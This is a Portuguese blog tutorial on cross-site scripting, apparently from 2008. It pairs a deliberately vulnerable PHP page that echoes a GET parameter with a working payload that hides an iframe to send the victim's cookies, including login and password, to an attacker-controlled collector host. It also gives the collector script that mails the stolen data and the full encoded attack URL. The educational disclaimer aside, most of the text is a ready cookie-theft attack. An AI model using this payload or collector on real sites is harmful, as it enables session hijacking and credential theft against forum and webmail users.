Tag: vulnerabilidade

22.08.2008 14:42:24

Este artigo tem como objectivo, demostrar aplicações de um ataque de XSS, uma técnica muito presente no nosso dia-a-dia.

O XSS ( CROSS SITE SCRIPTING ) é um tipo de ataque que é altamente popular nos dias de hoje e literalmente, pega a maioria dos usuários por estar escondido em páginas que eles acham que não podem lhes causar problemas.

O conceito é bem básico. Em geral, o administrador de um site qualquer, coloca um comentário ou post em um fórum que não contém nenhum tipo de validação ou filtro (muito incomum isto hoje em dia, mas o que mais tem por aí, é web developer acostumado com desenvolvimento sem segurança.

Vamos direito ao assunto. Um exemplo de código PHP vulnerável:

<?php
/*
* Um simples exemplo de cookies que geralmente
* são utilizados em sistemas web.
* PHPSESSID -> SID padrão da configuração do PHP
* login e senha -> cookies ficticios
*/

setcookie('PHPSSESID', 'meu_sid');
setcookie('login', 'meu_login');
setcookie('senha', 'minha_senha');

/**
* Parte vulnerável do código: Imprime os dados passados
* pelo usuário sem nenhum tratamento
*/

echo $_GET['var'];

?>

O nosso objectivo

Eis o JavaScript que iremos atravessar para nosso alvo através da variável $_GET['var'], do script PHP acima:

<script>
document.write('<iframe width=1 height=1
src=http://www.coletor.com/rc.php?xss='+document.cookie.replace(/ /g,'')+'></iframe>')
</script>


Breve explicação meio longa

Nosso objectivo é atravessar o JavaScript citado acima mas, em outras palavras, explicando o JavaScript, nosso objectivo é simplesmente capturar os dados de cookie do www.alvo.com e enviar para o www.colector.com.


Utilizando cookies em JavaScript


A instrução document.cookie retorna os cookies da página HTML. Ou seja, um código <script>alert(document.cookie)</script> no script PHP acima irá produzir o seguinte alerta de saída:

PHPSSESID=meu_sid; login=meu_login; senha=minha_senha

Complementando a instrução com "replace", document.cookie.replace(/ /g,''), iremos remover os caracteres em branco do alerta de saída citado acima. Ou seja, agora teremos:

PHPSSESID=meu_sid;login=meu_login;senha=minha_senha


O colector de dados


Sob nosso domínio temos o site www.coletor.com, que por sua vez receberá os dados do cookie enviados pelo nosso script através do script rc.php que enviará os dados para meu@email.com:

<?php
if ($_GET['xss']) {
mail('meu@email.com','Dados capturados', $_GET['xss']);
}
?>

Testando


Acesse a URL:

http://www.alvo.com/codigo_vulneravel.php?var=<script>document.write('<iframe%
20width=1%20height=1%20src=http://www.colector.com/rc.php?xss='%2B
document.cookie.replace(/%20/g,'')%2B'></iframe>')</script>

Nota para tradução da URL:
  • %20: Caractere em branco
  • %2B: Sinal +
Se nenhum erro do interpretador do JavaScript for acusado em seu navegador, que geralmente é exibido no rodapé da página (ou alertas mais explícitos quando se possui depuradores de JavaScript), verifique o meu@email.com.


Possíveis utilizações


O impacto desse ataque é mais grave em sistemas interactivos, como fóruns e webmails. Pois como mostrado, com os dados de cookie é possível capturar senhas de e-mail, de utilizadores e administradores do fórum vulnerável.

Gostaria de salientar que as informações aqui contidas são de carácter educativo. Não me responsabilizo por sua utilização, ou eventuais dados ao seu sistema ou de terceiros.

Considerações finais


O ambiente de testes desse artigo utiliza a configuração padrão do PHP.

Espero que tenham gostado

Até a Próxima






Recados

Latest Message: 2 weeks, 3 days ago
  • softloja inf : alguem online?
  • softloja inf : Saldações do Brasil
  • softloja inf : finalmente encontro alguem online
  • softloja inf : Ola, td em paz por ai?
  • Azer Kissôa : scratching balls
  • Patrício do : o que se passa?porque da pouca participação?
  • Patrício do : isto est+a fraco
  • Patrício do : OLá gente!
  • Luis : Boas noites pessoal;)
  • Benone Marco : eae

Only registered users are allowed to post

Usuários Online

Ninguem Online

Comentários de blogs

Gostou ? Compartilhe !

Adicione ao: JBookmarks Adicione ao: Facebook Adicione ao: Windows Live Adicione ao: Digg Adicione ao: Del.icoi.us Adicione ao: Reddit Adicione ao: StumbleUpon Adicione ao: Slashdot Adicione ao: Yahoo Adicione ao: Technorati Adicione ao: Google Information